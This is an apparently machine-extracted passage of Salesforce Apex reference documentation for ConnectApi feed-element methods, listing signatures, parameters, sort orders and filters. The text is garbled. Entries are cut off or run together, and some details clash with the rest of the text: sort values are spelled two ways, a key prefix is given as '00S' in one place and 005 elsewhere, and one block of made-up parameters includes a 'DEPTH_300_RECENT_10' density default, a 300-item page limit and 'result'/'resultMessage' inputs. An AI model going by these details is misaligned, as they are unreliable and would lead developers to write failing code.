The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in null, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
If you pass in `null`, the default value `CreatedDateDesc` is used.

`showInternalOnly`
Type: `Boolean`

Specifies whether to show only feed items from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

Return Value
Type: `ConnectApi.FeedElementPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

```
Parameters

**communityId**
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

**feedType**
Type: `ConnectApi.FeedType`
Value must be `ConnectApi.FeedType.Record`.

**subjectId**
Type: `String`
Any record ID, including a group ID.

**recentCommentCount**
Type: `Integer`
The maximum number of comments to return with each feed item. The default value is 3.

**elementsPerBundle**
Type: `Integer`
Maximum number of feed elements per bundle. The default and maximum value is 10.

**density**
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`
Values are:
- **CreateDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreateDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
If you pass in null, the default value CreatedDateDesc is used.

`showInternalOnly`
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

`filter`
Type: `ConnectApi.FeedFilter`
Specifies the feed filters.

- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
- **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.
- **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.
- **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

**Return Value**
Type: `ConnectApi.FeedElementPage`

**Usage**
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**
- [Get Feed Elements From Another User’s Feed](#)

- Testing ConnectApi Code
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, filter, threadedCommentsCollapsed)

Get a page of sorted and filtered feed elements with comments in a threaded style for a record feed. Specify the number of elements per bundle and include no more than the specified number of comments per feed element. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedFilter filter, Boolean threadedCommentsCollapsed)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

feedType
  Type: ConnectApi.FeedType
  Value must be ConnectApi.FeedType.Record.

subjectId
  Type: String
  Any record ID, including a group ID.

recentCommentCount
  Type: Integer
  The maximum number of comments to return with each feed item. The default value is 3.

elementsPerBundle
  Type: Integer
  Maximum number of feed elements per bundle. The default and maximum value is 10.

density
  Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**

Type: **String**

The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in `null`, the first page is returned.

**pageSize**

Type: **Integer**

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**

Type: **ConnectApi.FeedSortOrder**

Values are:

- **CreateDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreateDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value CreatedDateDesc is used.

**showInternalOnly**

Type: **Boolean**

Specifies whether to show only feed items from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

**filter**

Type: **ConnectApi.FeedFilter**

Specifies the feed filters.

- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
- **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.
- **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.
- **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.

`threadedCommentsCollapsed`

Type: `Boolean`

Specifies whether to return threaded comments in a collapsed style (`true`) or not (`false`). If you pass in `null`, the default is `false`.

**Return Value**

Type: `ConnectApi.FeedElementPage`

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**

- `setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, filter, threadedCommentsCollapsed, result)`
- `Testing ConnectApi Code`

```java
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, customFilter)
```

Get a page of sorted and filtered feed elements from a case feed.

Yes
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, String customFilter)

Parameters

**communityId**

Type: String

Use the ID for an Experience Cloud site, internal, or null.

**feedType**

Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

**subjectId**

Type: String

The ID of a case.

**recentCommentCount**

Type: Integer

The maximum number of comments to return with each feed item. The default value is 3.

**elementsPerBundle**

Type: Integer

Maximum number of feed elements per bundle. The default and maximum value is 10.

**density**

Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**

Type: String

The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**

Type: Integer

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**

Type: ConnectApi.FeedSortOrder

Values are:

- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

customFilter
Type: String
Custom filter that applies only to the case feed. See customFeedFilter in the Metadata API Developer Guide for supported values.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Requires Chatter
Yes
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, String customFilter, Boolean threadedCommentsCollapsed)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
The ID of a case.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
• **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for *DirectMessageModeration*, *Draft*, *Moderation*, and *PendingReview* feeds.
• **CreatedDateDesc**—Sorts by most recent creation date.
• **LastModifiedDateDesc**—Sorts by most recent activity.
• **MostViewed**—Sorts by most viewed content. This sort order is available only for *Home* feeds when the `ConnectApi.FeedFilter` is *UnansweredQuestions*.
• **Relevance**—Sorts by most relevant content. This sort order is available only for *Company*, *Home*, and *Topics* feeds.

If you pass in null, the default value *CreatedDateDesc* is used.

**showInternalOnly**

Type: **Boolean**

Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

**customFilter**

Type: **String**

Custom filter that applies only to the case feed. See *customFeedFilter* in the *Metadata API Developer Guide* for supported values.

**threadedCommentsCollapsed**

Type: **Boolean**

Specifies whether to return threaded comments in a collapsed style (true) or not (false). If you pass in null, the default is false.

Return Value

Type: **ConnectApi.FeedElementPage**

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**

- Testing ConnectApi Code

**getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix)**

Get feed elements from a feed filtered by a key prefix for a user.

API Version

31.0

Requires Chatter

Yes
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String communityId, String subjectId, String keyPrefix)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 00S and Group objects have a prefix of 0F9.

Return Value

Type: ConnectApi.FeedElementPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, result)

Testing ConnectApi Code

getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
Get a page of sorted feed elements from a feed filtered by a key prefix for a user.

API Version
31.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
```

Parameters

**communityId**
- Type: String
- Use the ID for an Experience Cloud site, internal, or null.

**subjectId**
- Type: String
- The ID of the context user or the alias me.

**keyPrefix**
- Type: String
- A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

**pageParam**
- Type: String
- The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

**pageSize**
- Type: Integer
- Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
- Type: ConnectApi.FeedSortOrder
- Values are:
  - CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
  - CreatedDateDesc—Sorts by most recent creation date.
  - LastModifiedDateDesc—Sorts by most recent activity.
  - MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
  - Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
- If you pass in null, the default value CreatedDateDesc is used.

Return Value

Type: ConnectApi.FeedElementPage
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```
    setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)
```

Testing ConnectApi Code

**getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam)**

Get a page of sorted feed elements from a feed filtered by a key prefix for a user. Each feed element contains no more than the specified number of comments.

API Version

31.0

Requires Chatter

Yes

Signature

```
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)
```

Parameters

**communityId**

Type: **String**

Use the ID for an Experience Cloud site, `internal`, or `null`.

**subjectId**

Type: **String**

The ID of the context user or the alias `me`.

**keyPrefix**

Type: **String**

A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

**recentCommentCount**

Type: **Integer**

Maximum number of comments to return with each feed element. The default value is 3.

**elementsPerBundle**

Type: **Integer**
Maximum number of feed elements per bundle. The default and maximum value is 10.

density
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

pageSize
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

sortParam
Type: `ConnectApi.FeedSortOrder`
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
If you pass in `null`, the default value `CreatedDateDesc` is used.

Return Value
Type: `ConnectApi.FeedElementPage`

Usage
To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
- `setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam, result)`
- Testing ConnectApi Code
getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince)

Get a page of feed elements from a feed filtered by a key prefix for a user. Include only feed elements that have been updated since the time specified in the updatedSince parameter.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeedUpdatedSince(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

elementsPerBundle
Type: Integer
Maximum number of feed elements per bundle. The default and maximum value is 10.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.
getPageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

updatedSince
Type: String
An opaque token defining the modification time stamp of the feed and the sort order.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestGetFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince, result)
Testing ConnectApi Code

getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
Get a page of feed elements from the Company, DirectMessageModeration, Home, and Moderation feeds. Include only feed elements that have been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the specified number of comments.

API Version
31.0

Yes
Signature

```java
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince)
```

Parameters

`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or `null`.

`feedType`
Type: `ConnectApi.FeedType`
The type of feed. Valid values are `Company`, `DirectMessageModeration`, `Home`, and `Moderation`.

`recentCommentCount`
Type: `Integer`
Maximum number of comments to return with each feed element. The default value is 3.

`density`
Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.

- `AllUpdates`—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- `FewerUpdates`—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

`pageParam`
Type: `String`
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

`pageSize`
Type: `Integer`
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

`updatedSince`
Type: `String`
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedElementPage` response body.

The `updatedSince` parameter doesn’t return feed elements that are created in the same second as the call.

Return Value

Type: `ConnectApi.FeedElementPage`
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```java
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, result)
```

Testing ConnectApi Code

```java
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, filter)
```

Get a page of filtered feed elements from the Home feed. Include only feed elements that have been updated since the time specified in the `updatedSince` parameter. Each feed element contains no more than the specified number of comments.

API Version

```java
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedFilter filter)
```

Parameters

- **communityId**
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- **feedType**
  - Type: `ConnectApi.FeedType`
  - The type of feed. The only valid value is `Home`.

- **recentCommentCount**
  - Type: `Integer`
  - Maximum number of comments to return with each feed element. The default value is 3.

- **density**
  - Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**updatedSince**
Type: `String`

An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedElementPage` response body.

The `updatedSince` parameter doesn’t return feed elements that are created in the same second as the call.

**filter**
Type: `ConnectApi.FeedFilter`

Specifies the feed filters.

- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the `UserProfile` feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the `UserProfile` feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **QuestionsWithCandidateAnswersReviewedPublished**—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Read**—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the `Record` feed of a group.
- **SolvedQuestions**—Feed elements that are questions and that have a best answer.
- **UnansweredQuestions**—Feed elements that are questions and that don’t have any answers.
- **UnansweredQuestionsWithCandidateAnswers**—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- **Unread**—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the `Record` feed of a group.
- **UnsolvedQuestions**—Feed elements that are questions and that don’t have a best answer.
Return Value

Type: `ConnectApi.FeedElementPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

Signature

```java
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)
```

Parameters

`communityId`

Type: `String`

Use the ID for an Experience Cloud site, `internal`, or `null`.

`feedType`

Type: `ConnectApi.FeedType`

One of these values:
- `Files`
Groups
• News
• People
• Record

subjectId
Type: String

If `feedType` is `ConnectApi.Record`, `subjectId` can be any record ID, including a group ID. Otherwise, it must be the context user or the alias `me`.

recentCommentCount
Type: Integer

The maximum number of comments to return with each feed item. The default value is 3.

density
Type: `ConnectApi.FeedDensity`

Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageToken
Type: String

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

pageSize
Type: Integer

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

updatedSince
Type: String

An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the `updatesToken` property of the `ConnectApi.FeedElementPage` response body.

The `updatedSince` parameter doesn’t return feed elements that are created in the same second as the call.

Return Value
Type: `ConnectApi.FeedElementPage`
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, result)`
- Testing ConnectApi Code

```
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince, showInternalOnly)
```

Get a page of feed elements from a record feed. Include only feed elements that have been updated since the time specified in the `updatedSince` parameter. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

Yes

Signature

```
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince, Boolean showInternalOnly)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `feedType`
  - Type: `ConnectApi.FeedType`
  - Value must be `ConnectApi.FeedType.Record`.

- `subjectId`
  - Type: `String`
  - Any record ID, including a group ID.

- `recentCommentCount`
  - Type: `Integer`

- `density`
  - Type: `ConnectApi.FeedDensity`
  - Default value: `ConnectApi.FeedDensity.DEPTH_300_RECENT_10`.

- `pageParam`
  - Type: `String`
  - Can be `page`, `lastPage`, or `null`.

- `pageSize`
  - Type: `Integer`
  - Must be less than or equal to `300`.

- `updatedSince`
  - Type: `String`
  - Must be in the format `yyyyMMddHHmmss`.

- `showInternalOnly`
  - Type: `Boolean`
  - `true` to include only feed elements posted by internal users.

- `result`
  - Type: `ConnectApi.Result`
  - Contains a page of feed elements.

- `resultMessage`
  - Type: `String`
  - Contains an error message if the request was not successful.
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token from the updatesToken property of the ConnectApi.FeedElementPage response body.

The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.

showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

Testing ConnectApi Code

getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince, filter)
Get a page of filtered feed elements from a UserProfile feed. Include only feed elements that have been updated since the time specified in the updatedSince parameter.
API Version
35.0

Available to Guest Users
35.0

Requires Chatter
Yes

Signature
